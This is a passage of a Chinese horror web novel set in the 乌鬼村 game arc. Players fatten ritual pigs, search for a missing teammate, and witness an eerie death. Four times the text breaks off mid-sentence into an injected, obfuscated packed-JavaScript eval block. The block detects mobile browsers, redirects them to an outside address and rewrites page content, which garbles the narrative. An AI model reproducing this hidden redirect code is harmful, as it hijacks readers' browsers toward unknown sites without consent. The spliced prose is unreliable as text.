一时间数种可能性在郝荨脑海中飞速划过,最坏的情况下,乌鬼村中,或许已经没有无主的乌神尸骨,这意味着什么? 意味着除了她手上的七枚乌神尸骨外,剩下的十一枚都会被灵秀和郑哥稳入囊中。 只要他们的联盟稳固——她就必输无疑。 方柚柚翻了个身,将棉被卷成了个麻花,乌神尸骨“骨碌碌”滚落在一起,堆成了一堆。 郝荨拿起真·乌神尸骨,凝视良久,忽然,她笑了起来: “让我看看,你这个乌神——是真的神祇吗?” 她随意向前一抛,真·乌神尸骨一路向前滚动着,然后,“砰”的一声撞在了那堆乌神尸骨上,乌神尸骨像保龄球一样瞬间被打散,滚得七零八落。 ‘系统,我要兑换抽奖次数。’ 【叮咚!检测到玩家拥有三枚乌神尸骨,系统即将自动兑换——】 【兑换成功!】 【恭喜玩家!贺喜玩家!乌神尸骨蜕变中——】 【蜕变成功!】 那枚【乌神尸骨·残】被一束柔和的光晕包起,它轻轻飞起,在空中旋转着,仔细看去,有无数细小光点从里往外洒出,没过多久,郝荨的手里就多了一枚洁白如玉的……麦丽素。 郝荨:? 这和之前的乌神尸骨有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011924|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区别吗? 迷雾游戏未免也太敷衍了吧!这不就是套了个白色的皮肤吗?! 甚至连那些光点的特效都没了! 郝荨深呼吸了一口气,点开它的标签栏—— 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:你很幸运,能够拥有真正神明的尸骨,当进度条完成时,将会有奇迹发生。】 郝荨:? 等等。 这说明和之前好像也没什么两样啊? 她又仔细看了两遍,不,还是有点区别的,现在这枚不再是残片版本,而是真正的乌神尸骨,可为什么还是不能用? ‘投诉!我要投诉!’ 【亲亲,你要投诉什么呢?】 ‘这道具有bug!怎么不能用呢?!我投入了这么多,就换了个中看不中用的模型?!’ 【亲亲稍等,我帮您查一查哦。】 几秒后,冰冷但热情的系统音响起: 【亲亲,没有出bug哦,迷雾游戏没有bug,请亲亲仔细检查进度条哦。】 郝荨:? 她望向转盘上的进度条,这写着“解锁进度”的进度条鲜红一片,塞得满满当当,没有半点空缺。 ‘这不是满了吗?这要不是百分之百还有什么是百分之——’ 郝荨忽然一愣,这进度条之前不是叫“兑换进度”吗?什么时候变成了“解锁进度”? 她颤抖着点手点开进度条,被选中的进度条一下放大到整个屏幕,直到占据她所有视线,郝荨才发觉不对,这进度条竟然没满! 在鲜红进度条的最后,有那么一丝丝……要用放大镜看才能看到的地方还没有被填满。 【乌神尸骨解锁进度:99。999999999%】 【好消息!好消息!】 【玩家仅需将最后七枚伪·乌神尸骨与乌神尸骨合成,便可获得真正的乌神尸骨,您将见到乌神真正的能力!】 【检测到玩家拥有2枚伪·乌神尸骨,已自动为玩家合成。】 【玩家还差五枚即可见到真正的乌神,请玩家最后冲刺加油!】 郝荨:…… 她的木仓呢! 噶掉它!噶掉这个系统!!! 一通无能狂怒发泄后,郝荨终于冷静下来,她细细琢磨了一圈,觉得有点不对。 这场游戏一共有三支队伍,理论上每支队伍应该能得到六枚乌神尸骨,她能在第二轮比拼前获得七枚,已经算是运气不错的结果,换做没有搜寻技能或道具的队伍,根本不可能获得那么多枚乌神尸骨,可就这样,竟然还需要五枚才能真正解锁! 这几乎可以说是一道无解的题! 十二枚乌神尸骨,要想达成这个目标,要么她得解决掉一支队伍,要么……她得和其中一支队伍达成合作。 但乌鬼村偏偏是PVP游戏,郝荨高高举起那枚洁白的乌神尸骨,月光洒在上面,散发着不详的光芒。 乌鬼村——在逼他们解决掉彼此。 可不对啊,游戏开头就说了,乌鬼村是个和平的村落,禁止使用攻击型道具和技能……这又是怎么回事? …… “……荨姐!” 郝荨骤然惊醒,她睡着了? 她还没来得及坐起,门就被“轰”一下推开,重重砸在墙壁上。 余逸一个滑铲冲到郝荨身旁:“荨姐——” 他大口喘着气,身上青一块紫一块,不知道是露水还是眼泪的液体将他的睫毛粘在一起,已经冻出了冰花。 “怎么了?!” “霍哥……霍哥他不见了!!!” 99. 乌鬼村20 自打乌神节开始,乌鬼村里每天都会有新活动,热热闹闹的,今天村口的广场上就有舞猪表演。 村民们身穿硕大的猪头皮套,在点燃的草垛上舞动。 火光明灭中,每位玩家的脸色都不大好看。 郑哥脸臭得可以,他没想到在自己的明令禁止下,小高和阿卜竟然还敢阳奉阴违,偷跑出去惹事! 惹事也便罢了,竟然还输这么惨! 他没好气地瞪了一眼身后,一脸好奇的“阿卜”完全没有注意到他的瞪视,只自顾自地到处张望着,眼神新奇,反倒是她抱着的“人偶娃娃”哭丧着脸,小声开口:“郑哥……” 而更远一点的小高昂着脑袋,看起来桀骜不驯的样子,郑哥看到他就气不打一处来。 小高委屈地动了动嘴,他脖子闪了! 昨天他拿着板砖进屋,满心欢喜以为自己能来个大的,一股脑拿下对方团队的成员,让郑哥高看他一眼,却没想到一进屋就察觉到了不对。 阿卜那个人偶娃娃死死拽着她的裤腿,尖细的声音几乎要刺破他的耳膜,目之所及处,却没有那小女孩的身影。 早几年混社会的经验让他立刻就意识到了计划有变,小高转身就跑,门却倏地一下关上,露出了门背后的小女孩。 那小孩打了个哈欠,不等他做什么动作,只一阵风快速袭来—— “咔嚓。” 他的脖子被一股重力踢下,随着清脆的断裂声响,他差点以为自己脖子断了! 小高当下鼻涕眼泪都出来了,抱着头一动不动,生怕自己一动头就会掉下来,余光里,那团飞踢他的白色东西凑了过来,他这才发现,这居然是一直趴在那小女孩肩上的白色兔子玩偶! 靠!这是兔子吗? 这是怪物吧! 后面发生的事他已经记不清了,再清醒过来的时候,自己已经连滚带爬地跑回了村长家。 郑哥看着自己的“左膀右臂”,一个脖子歪了,一个现在还没回到自己的身体,他十分心累,一拖二,带不动啊,真是带不动! “队长,他们看起来……”费扬扬皱着眉,惊疑不定地看了看小高,又看了看阿卜,“和前几天感觉不太一样了。” 灵秀轻声“嗯”了一声,但这不是她注意的重点,她将目光投向郝荨: “你的那位队友呢?” 郝荨没接话。 在活动开始前,她和余逸方柚柚三人已经将村子搜寻过一遍,到处都没有霍格的身影,别说他一个大活人了,连半点他出现过的线索都没有。 那只有一个可能,他昨夜在山上失踪后,就没有再回来过。 换言之,他可能还在山上。 但余逸当时挖土挖得上头,完全没有注意到霍格是什么时候离开的,等他发现时,偌大一片山谷已经只剩下他一个人了。 他在山上找了大半夜,直到天亮才跑下山来。 小高僵着脖子转了一圈,真没发现那个蒙面男的身影,他一下笑了起来:“哈!死了?怎么死的?说出来给大家提个醒啊!” 余逸:“你才死了!嘴巴放干净点!” 郝荨拍了拍余逸的手臂:“怎么?想再用一次激将法打听我们的行动?我们被坑成这样了,难不成还有翻身的可能?我想,你们现在的对手——可不是我们吧?” 她暗示地看了眼灵秀,似笑非笑。 灵秀面色一凛,见到这一幕的郑哥反倒是心下大定,他现在最担心的就是玛弥破罐子破摔,全力托举灵秀团队赢过自己,好在这两方不知是谈判破裂还是不够聪明的缘故,没有如他猜测的那样达成合作。 总之,不会对他造成影响。 那就好。 他站出来打圆场:“小高不怎么会说话,你消消气,别挑拨离间了,我们呢也只是想问问情况而已嘛。目前大家对这个副本还不够了解,如果有人遇到危险的话,我希望大家可以大方将信息分享出来,这样无论是对大家伙,还是对自己都好。” 都好? 郝荨微勾嘴角,恐怕最大的获益者只有你吧。 余逸气不过,他扭过头,又看到小高梗着脖子还要对他做鬼脸。 “你!” 他刚要上前理论,被郝荨伸手拦住。 “当然,”郝荨客套地笑道,“我相信大家这么团结,一定可以早点通关的哦,不过——” 她扭过头,望向“阿卜”手里的人偶娃娃:“差点忘了,既然第一轮你们选择了背刺,那我们的承诺自然不作数了吧?” “那么,灯是不是该还给我了?” 她摊开手放到人偶娃娃面前,人偶那张雪□□致的脸一瞬间又白了三分。 “灯?”小高一愣,“什么灯?” 郑哥意识到了什么,他的脸色一下沉了下去,冰冷的视线如刺般扎向阿卜。 人偶娃娃颤抖着,破裂的伤口像是蛛网一样延伸出去,但她依然保持沉默。 见目的达到,郝荨见好就收:“算了,你们既然都选择了背叛,自然也不会遵守承诺,这灯就当我送你们的,希望下一轮,你们还有这样的好运气哦。” 说完,郝荨便带着余逸和方柚柚离开。 他们是走了,留下的两支团队气氛却有点尴尬,郑哥眯着眼笑了起来:“这灯——一定很有用吧?” “郑、郑哥……” “抱歉,让你们看笑话了。” 郑哥没有搭理她,而是抱歉地朝灵秀点了点头:“你放心,朋友和敌人,我们还是分得清的。” 见灵秀还是沉默,似有不满的样子,郑哥思索片刻,从口袋里取出了一枚乌神尸骨:“诚意。” 灵秀有些惊讶:“你要给我们?” 郑哥点点头:“最开始就说好了,第一轮我们赢,第二轮你们赢,赢十斤和赢百斤都是赢,既然你们担心,那这枚尸骨便给你们好了。” “郑哥!”小高不满,“凭什么!那是我好不容易才——” “好了!”郑哥一挥手,“我平常都是怎么跟你说的?对朋友要大方,对敌人才要无情!朋友不信任我们,是我们做得不够好,自然应该要补偿他们。” 他说得大义凛然,灵秀感动得眼圈都红了,她重重点头:“我相信你。” 郑哥释然一笑:“那就好。” 两方团队像是什么重要会晤一样握手道别转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024280|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,然后……双双变了脸色。 “哥,你就那么给她了?”小高很是不爽地飞起一脚,差点把路边的李子树踹倒。 郑哥斜了他一眼,没有急着说话。 直到几人拐进了院子,他才停住脚步。 他慢条斯理地卷起袖子:“说了你几次了,多动脑,多动脑!那枚乌神尸骨只值二十斤肉而已,对我们来说重要吗?” 小高嘟囔:“怎么不重要了……二十斤肉也是肉啊……” “你以为那只是肉吗?那是愧疚!”郑哥冷笑道,“那个叫玛弥的每句话都想挑拨我们,她肯定也意识到了如果我们的联盟稳固,他们就再无可乘之机!这种时候,我能让她如愿吗?” “不行!她队里那俩人的仇我还没报呢!” “那不就得了,眼光呢,要放长远!我们不止要赢下眼前这一局,还要完美通关这场游戏,我们能赢下三场游戏,游戏评分一定是S,你不想拿S吗?” 哪个迷雾玩家敢说自己不想拿S? 拿到S,就意味着你能抽到更多更厉害的道具和技能,运气好的话还能获得游戏里的物件,这些东西可都是无价之宝,谁也不知道在哪天就会派上什么用场! “况且,二十斤罢了,别忘了我们的杀手锏,他们喂得再大,也不过是我们的养料而已。” “现在,”郑哥回过身,笑容和善极了,“该解决另一件事了。” 抱着人偶娃娃的“阿卜”瑟瑟发抖,她慢慢后退,却被锁上的大门挡住去路。 “阿卜,你长大了,现在这是——连郑哥都隐瞒了?” * 夜晚。 “怎么样?”郝荨拉开衣领,呼哧呼哧往里扇风。 她累得满头大汗,其他两人也不遑多让。 “庙里没人。” 方柚柚一屁股坐在炕上,恨不得立刻陷入昏迷。 “山上也没有。”余逸脸色很不好,“荨姐,你说,霍哥他会不会……” “不会。”郝荨摇头。 “凭他的能力,要是遇到乌神或是其他的怪,不可能一点声响都没有就被抓走,你说你当时什么都没听到?” 余逸很肯定地点头。 “那就对了,他应该是自己离开的,或者……” “或者什么?” “或者,他被某些‘不可抗力’带走了。” 郝荨想到霍格身上那奇怪的bug,有些担心,但她面上不显,安慰两人道:“没关系,相信我,我不会让你们输的。” 听到这话,余逸显而易见地放松了些,他露出了个大大的笑容:“嗯!” 他没有注意到,郝荨刚说完,神情却古怪地僵硬了一瞬。 是错觉吗? 郝荨抬起手仔细端详了几秒,又看了看锁好的门窗,没东西啊…… 那她刚刚,怎么突然觉得手背被什么碰了一下呢? “先睡吧,明天就是第二轮评比,说不定…是一场大仗呢!” 几人在火炕上陷入了深沉的睡梦之中。 好暖和…… 郝荨翻了个身,这次的梦好温暖,就像是……在被火焰烘烤似的。 100. 乌鬼村21 好热。 郝荨晕晕乎乎地睁开眼,艰难喘气。 她浑身是汗,恍惚间还以为自己被谁扔进了桑拿房。 闷热、潮湿,还有什么细细碎碎的东西在身下扎她,十大酷刑也不过如此! 她挣扎着想要坐起身,却发现四肢被金属制成的东西束缚住,黑暗中,她的听觉变得更为敏锐。 是脚步声,有许多人往这里来了。 再仔细听去,还能听到他们窸窸窣窣的说话声。 “……重了,重了!……说的没错,居然真的重了!” “还有吗?再喂点……” “这……不会出事吧?要不……” “不会!这可是乌神的……” “……老天保佑,赐我族福蕴,灾病全消,五谷丰登……” 嘶——好刺耳,是磨刀声! 人群逐渐涌进房间,将她团团围住,有男有女,有老有少,他们的眼珠在黑夜里泛着贪婪的光。 “哐啷啷……” 一阵清脆的金属碰撞声后,她感觉自己的手脚一下轻巧起来,几个人抬着她将她放到了地上。 她想要站起,却被自己的身体吓了一跳。 好沉重,光是翻个身都已经耗费了她所有的力气,郝荨喘着粗气想要开口,质问他们要做什么,却发现自己只能发出嘶哑的“啊啊”声。 这到底是怎么回事?! “啊!啊!!” 一个男人走上前来,笑道:“哟,还在叫呢!” 围着的人纷纷笑了起来。 “别玩了,孩子们还等着呢!” “好嘞!” 郝荨还没反应过来究竟是怎么回事,就被什么冻了一激灵。 是那把刀! 她拼命挣扎起来,却被几双强壮有力的大手按住,混乱间,只听“噗”的一声,一盏油灯亮了起来。 一个小孩端着那盏油灯,惊恐又无助地站在角落。 这灯的形状和山谷里的长明灯一模一样。 郝荨抓住时机迅速翻身而起,将按住她的人认了个全,他们瘦瘦巴巴的,穿着破旧又古老的服饰,陌生中又有些熟悉。 但她很确认,不是她见过的乌鬼村村民们。 “诶?!谁家小孩啊,怎么点灯呢!不要命啦!” “哥,这猪居然翻眼睛看你!” 下一秒,斜里伸出来一张脸,“噗”的一下又将油灯吹灭了。 屋子重新陷入了黑暗,拿着刀的男人骂骂咧咧了几句土话,听起来骂得很脏。 他重新按住郝荨,正要提刀砍下,一旁突然有人开口:“它看见我们了,要不…改天再——?” 拿着刀的男人顿了顿,又粗声粗气地骂了一句:“它都那么看人了,还能留?!” “格老子的,把眼睛挖了不就行了!” 什么?! 不行!郝荨疯狂甩头,想把人甩开,却没有半点用处。 一时间,她好像陷入了一种奇怪的状态,她好像是她,又好像不是她,眼泪失禁般从眼角流下,打湿了整片土地。 随着眼睛一阵剧痛,她的视野渐渐升高,视野也变得清晰起来。 郝荨这才发现,这是一处深埋在地底的地窖,和乌大娘家里的那间很像。 她认真地看清楚每个人的脸,他们的脸上没有半分不忍或是愧疚,有的只是兴奋和狂喜。 但很快,这份狂喜就迅速被惊恐所替代。 围绕着的人们不约而同地后退,露出了中间的……“人”。 不,那不是人,是一只体型极为庞大的山猪。 黑色的猪皮被撑开,肚子涨到无法再涨,好像下一秒就有什么要破肚而出,因为山猪的脖子太粗,砍刀甚至砍了好几下才将将砍断,血肉模糊的断口处不断往外喷涌着血液,眨眼便流成了一片湖泊。 它还没停,还在流着,已经远远超过了一头黑猪身上应该有的血量! 转瞬间,血已经顺着砍刀男的脚尖爬了上去,一道非常微妙的声音从他身上传出,砍刀男一下翻滚在地,放声大叫:“啊啊啊!!!” “不要!救命!救救我!!!啊!昂!!昂!!!” 几秒钟而已,他的身体就被血液包裹进去,声音也从人类变成嘶哑的嚎叫,就像是……那只黑猪的哭喊。 其余人瞬间四散而逃,可那血液像是一条条深红色的蛇,爬得飞快,许多人根本来不及跑几步便被吞没。 忽然,油灯亮了起来。 豆大的灯火在角落处晃动着,照亮了孩子那张惊恐到呆滞的脸。 血液在冲到孩子面前时骤然停下,然后,像是有眼睛一样绕过了那个亮着的角落。 混乱的脚步声、孩子的哭声,以及人群的痛苦喊叫声夹杂在一起,迅速变成了让人头晕的嗡鸣声。 一股控制不住的呕意从胃部翻涌上来,郝荨“呕”一声吐了。 她猛地坐起,差点吐在被子上,她拼命深呼吸了几次,冰冷的空气刺激着鼻腔,才总算把那股恶心压了下去。 等等,被子? 那她刚刚……是在做梦? 郝荨立刻检查了一番自己的技能,【罅隙窥视】没有被使用,这不是预知梦。 不是预知梦,莫非是这座乌鬼村的过去? 她看了眼把自己包裹成蚕宝宝的方柚柚,又远远看了眼睡得四仰八叉、几乎要掉下床去的余逸,俩人都很平静,没有半点做噩梦的迹象。 她闭上眼,有些头疼地按了按自己的眉间。 自从进了迷雾游戏,她就没怎么睡过好觉,哪家游戏连觉都不让玩家睡啊! 郝荨翻身下床,准备去趟旱厕。 “铛。” 她身形一顿,缓缓低头望去——她的枕边不知何时出现了一盏熄灭的长明灯。 灯油已经不剩多少,青烟甚至都还未散去。 郝荨一瞬间感到头皮发麻,因为怕被乌大娘发现,她睡前特意将所有长明灯都收进了包裹,一并藏在了她的被窝里。 那这盏灯是怎么来的?! 她强迫自己冷静下来,先是掏出包裹数了一遍,一盏都没少。 郝荨皱眉,难道是阿卜还来的? 她拿起灯仔细检查了一番,推翻了这个猜测。 这盏灯的底部沾着点点黑红色的泥痕,像是白土,如果阿卜真的带了这盏灯进山,她就会知道这盏灯究竟有多重要,绝不会把灯还回来,况且,他们今天一天似乎都还在村子里,没有什么上山的迹象。 而要是她没进山,就不会将灯燃烧到只剩这么点油。 那就只有一个可能性! 郝荨迅速抬头检查屋里,着重检查了一下门窗— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031190|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 咦? 没有动过的痕迹。 “……霍格?是你吗?” 郝荨小声呼唤,她轻手轻脚地把灯收好,开门往院子里走去。 “霍格?” 屋里安安静静的,院中也空无一人,一切都仿佛是她的幻觉,郝荨用手随意抓了抓睡乱的头发,不死心地再次叫了一声:“霍格?法瑟?你回来了吗?” “咔嚓。” 郝荨迅速回头,一截断裂的树枝躺在地上。 她盯着断口看了一会儿,狐疑道:“是你吗?是的话就再来根树枝?” 风轻飘飘扫过,吹得树叶沙沙作响,四周寂静到连乌金的哼哼声都没有。 好吧,是她有点疑神疑鬼了。 郝荨转身进入旱厕,她不知道的是,在她关门的那一刻,李子树重重摇晃了两下,一截树枝被生生掰断,可就在它要飘落在地的时候,又突然凭空消失。 再过了一会儿,连先前那根树枝也一起消失得无影无踪。 旱厕的味道不好闻,郝荨捏着鼻子,头脑却意外转得很快。 想到刚刚做的梦,她决定去地窖看看。 先前余逸从山上带回的白土已经全数喂给了这只乌金,所以郝荨下去时,看见的并不是之前那只饿得可怜兮兮的乌金,而是占据了几乎半个地窖的巨大乌金。 这只乌金和之前的那只不太一样,它很沉默,每天就揣着手趴在地上,异常疲倦的模样。 它现在睡得很熟,就算被她伸手扒拉也没醒。 不知道她碰到了哪儿,乌金忽然“嘶嗷”一声惊醒,它圆圆的黑豆眼满是惊恐,想要往后退,却被锁链硬生生固定在原地。 “嘘!别叫,别叫!”郝荨手忙脚乱想按住它。 乌金一下收口,它愣愣地看着郝荨又想张嘴,然后像是想起她刚才的嘱咐一般闭上了嘴巴。 郝荨微微歪了一下头,这个反应……有点奇怪啊。 乌金有些着急,它手脚动了动,然后,突然伸出了一只前腿,努力想要把腿递到郝荨手中。 郝荨瞬间幻视了两千块,她下意识伸出手去握住。 刚一握上,乌金又叫了一声,声音听起来有些吃痛,郝荨动作一顿。 乌金见她没反应,强忍疼痛又将前腿往她手里递。 郝荨眯了眯眼,一个离谱的猜测出现在她心头,她放轻动作,极为小心地顺着前腿往里摸—— 她摸到了一截断骨。 * “第二轮评比,开始!!!” 随着村长话音落下,几十只大小不一的乌金被牵上高台,有几只格外高大的行动不便,被村民们接力抬了上去。 郝荨光看就感觉自己要被压扁了,一时不知道这些乌鬼村的村民们是老年人,还是她才是那个老年人。 灵秀带着队伍和郑哥站在一起,她眉头微微一皱:“那是你们的乌金?” 晒谷场的高台上,三只乌金分散在高台各处,将其他乌金都比了下去,其中一只要小上一些,另外两只则看起来大差不差,肉眼看去几乎没什么差别。 郑哥冲她笑了笑,没有接话。 灵秀敏锐地注意到这点,心中暗道不好。 彪哥有些摸不着头脑,他抓了抓后脑勺:“咋回事啊?我怎么感觉……他们的那只比咱们的还要大呢?” 101. 乌鬼村22 “我咋感觉他们那只比咱们的要大啊?” 彪哥拿手比了比,写有郑哥名字的那只乌金已经膨胀成了气球,连四肢都无法触及地面,虽然他们的也差不多,但总觉着有些微妙。 灵秀抬眼望去,眼神凛冽,但很快她又放松下来。 幸好她留了一手。 “称重完毕!” 村长激动得脸都红了,好像喝了三斤酒那样,恨不得亲自上手去称。 “第一名和第二名只差一点点,我看看啊……”村长眯着眼睛将册子拉远,“第二名903斤,第一名950斤!只差43斤啊,不错,不错!大家都很努力!” “那我们现在宣布第一名,第一名就是——” 村长挪动脚步,年迈缩水的身躯站到了场上最大的那只乌金身旁,显得有些滑稽。 “就是我们的小郑——” “等一下!” 一道洪亮粗犷的男声响起,压过了村长扯起的嗓子。 场上顿时安静下来,所有人都望了过来,彪哥清清嗓子:“各位父老乡亲们等一下啊!咱们队长有话要说!” 说话间,还瞪了郑哥三人一眼。 灵秀上前一步,她从口袋里掏出一枚乌神尸骨,手指用力一捏—— 【乌神尸骨已使用。】 【玩家已选择使用对象,使用对象为:乌金。】 【您选择的乌金重量增加为——953斤。】 “村长爷爷,我有异议。” 灵秀坦然举手:“我认为,咱们还是复称一下比较好。” 郑哥怀疑的视线一下向灵秀投来,彪哥“哼”了一声,上前挡住,瞪得跟铜铃似的眼睛仿佛在说“瞅什么瞅!再瞅把你眼睛挖了!”。 郑哥眉头一抽,收回了视线。 “郑哥,他们是不是……是不是用了尸骨?”人偶娃娃操控着“阿卜”把自己送到郑哥耳边,唯唯诺诺道,“那我们、我们要跟吗?” 郑哥略一抬手,制止了她:“不急,先看看。” 高台上众人面面相觑,主要称重的二牛很不高兴:“你怀疑我?我都在村里称了几十年了!这么多年,从来没出过岔子!” 灵秀冷静开口:“我没有质疑你的意思,只是这个重量和我们先前自己称得差别有些大,所以才想麻烦您再复查一次。” 村长拿起腰间的烟斗用力吸了一口:“牛娃子,再称一次吧。” “可是——” “再称一次,”村长那浑浊却依然闪着精光的眼睛望向他,“你要敷衍乌神吗?!” 二牛一下没了话说,他憋着气再次复称。 “嘿…见鬼了!还真重了!”二牛一下没忍住,喊了出来。 台下一片哗然。 “953斤!它才是第一!” 郑哥姿势一下放松下来,不等村长重新宣布,他就也伸出手来:“村长,我也有异议。” 灵秀和彪哥对视一眼,一股不妙的情绪在两人心里蔓延。 这下村长也有些不高兴了,他拿着旱烟往地上磕了磕:“小郑,你不会也觉得称错了吧?” 郑哥笑笑:“乌村长,只给一个人重称,这不大公平吧?” 村长重重冷哼了一声:“二牛,给他称!” 虽然叫“二牛”,但也已经是个四五十岁的大伯了,他憋着气,叫上其余几个兄弟费力将乌金抬起:“嘿哟!嘿!” 二牛一怔:“这、这不可能啊!” 他不信邪,又重新称了一遍,村长等得有些不耐烦,呵斥道:“什么不可能?” “小郑的这只,”二牛支支吾吾,“这只……” “到底咋了!” “这只955斤!” “什么?!” 村长吃惊,自家人懂自家事,自从乌鬼村开始举办乌神节以来,就从来没出过错,可今天!竟然一错再错! “你、你没看错?!” “没有!”二牛委屈,他都有点怀疑自己了,“那、那其他还要再称一次吗?” 村长扭头望向下面窃窃私语的村民,脸一板:“没人抗议,称什么称!” 他大手一挥:“现在宣布第一!” “队长,他们在上面吵什么呢?会不会……”费扬扬低头小声问。 灵秀也觉着有点不妙,但她现在手上只剩下三枚乌神尸骨,接下来的最后一轮评比大家一定会allin,加上她还没摸清楚郑哥到底是如何做到的,万一她使用之后还是没压过对方,那基本就等同于提前退出决赛圈。 挣扎过后,她决定不再加码。 “第一名!还是小郑、小高、卜女娃!让我们恭喜他们!!!” 村民们一下欢呼起来,高亢的唢呐声响彻云霄,所有人都在为他们鼓掌。 郑哥推了推眼镜,一副运筹帷幄的模样: “承让,承让。” 他带着小高和阿卜从村长手中接过木盒,穿过灵秀团队时顿了顿:“别怪我,要怪,就怪迷雾游戏吧。” “嘿!”彪哥撸起袖子,“我怎么看你那么欠揍呢?!” 一直没说话的茶茶突然开口:“你这是在责怪神明?” 她声音很轻,没有带上什么情绪,却让人无法忽视。 郑哥皱眉,他第一次仔细地看了看这个年轻的女孩,几秒后,他笑了起来:“下轮见——啊,希望下一轮大家都还在。” 说完,他就转身离开。 小高跟在第二个,他恶狠狠地朝余逸比了个“挖眼”的手势:“你给我等着!” 但在路过方柚柚时却不由自主地绕开两步,郝荨看着只觉得好笑,多有意思,他甚至不知道自己的处境有多危险,还在这逞凶斗狠。 阿卜的人偶娃娃没有带在身上,想必她已经回到了自己的身体,可不知道为什么,她一直低着头,走路的样子也有点僵硬。 此刻的她,反倒比之前……更像是那只人偶。 紧接着,灵秀也带人离开,离开前,她抬起头与郝荨对视了一眼,两人不约而同挑了挑眉,然后露出了一个默契的微笑。 “荨姐,我们接下来怎么办?”余逸低声开口。 他问得很委婉,生怕给对方带来压力,但其实在场所有人都知道,除非有奇迹发生,否则,他们已经被公开宣判出局。 郑哥甚至连一个眼神都懒得给他们。 他们已经足够努力,但毕竟上一轮直接清零,再努力,他们的这只乌金也不过就五百多斤,几乎只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15038140|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有郑哥那只的一半大小。 郝荨望向他们的那只颓废乌金,不答反问:“你有没有什么感觉?” 余逸一愣:“啊?” “有没有觉得哪里不舒服?”郝荨又问。 余逸一下被转移思路,他仔细感受了一下自己:“好像……有点消化不良?” 他摸了摸自己的肚皮,宽松T恤下,肚皮圆滚滚的,好像怀胎三月。 “我靠!我才二十岁!怎么就有啤酒肚了!” 余逸大为震惊,他吃了这么多吗?! 他把T恤掀开,白生生的肚皮拱出了个奇怪的弧度,沉甸甸的,郝荨伸手按了按,和正常人有弹性的肚子不同,他的肚子硬得好像塞了块石头。 余逸惨叫:“我的八块腹肌!” 郝荨:…… “这是重点吗——” “啊啊啊啊啊!” 忽然,村子里传来一声高亢的尖叫。 “死人了!!!” 什么? 郝荨转身就跑,等他们赶到土房时,那里已经被村民和玩家们围得水泄不通。 所有人都低垂着头,沉默地注视着那具尸体。 二牛躺倒在院子里,他的院子中心也种了一棵李子树,现在,他的尸体就仰面躺在这棵树下,看起来像是只是摔了一跤似的—— ——如果他的表情不那样痛苦扭曲的话。 他的腹部高高隆起,忽然,他的褂子动了一下。 “二牛叔肚子动了。”站在最前头的小孩眼神懵懂,疑惑地指着他问道。 乌大娘一下捂住他的眼睛:“别胡说八道!” “他是不是要生娃娃啦?” 这一次,乌大娘连他的嘴巴也一并捂住。 现场是死一般的寂静。 突然,一阵急促的脚步声传来。 “村长来了!” 众人像流水一样分开,村长被一个稍稍年轻的大伯背了进来,大伯将村长放下,乌大娘紧张问道:“村长,你看这、这是不是乌神——” 村长没有搭理他,他用旱烟轻轻挑起二牛的褂子,一缕黑色的毛发从褂子下冒出,拿着旱烟的手一抖,那毛发重新被褂子遮掩。 虽然只是短短几秒,但也已经足够让人看清楚那究竟是什么。 那毛发并不属于人身上的任何一处,它是凭空从二牛的肚脐眼里冒出来的! 郝荨不禁想到了乌金身上的毛发,那和二牛肚子上那缕一模一样。 更恐怖的是,他似乎还在生长! 很快,那黑色毛发就长到了二牛的手臂,眼看着就要蔓延到脸颊,村长重重吸了口旱烟,叹了口气: “乌神等不及了。” 他脸色有些发白,像是想到了什么不好的事。 然后,村长将视线从在场所有人脸上划过,阿卜一愣,不知道是不是她的错觉,总觉得村长多看了小高几眼。 她下意识看向郑哥,想要开口。 可几秒后,她又重新低下了头。 或许,是她看错了吧,阿卜心想。 村长吸得有些急了,他咳嗽了一声,喘了口气: “咳咳……乌神大选提前,今天晚上,我们把今年的乌神选出来!” 102. 乌鬼村23 村长宣布完最终评比提前便将所有人赶了回去。 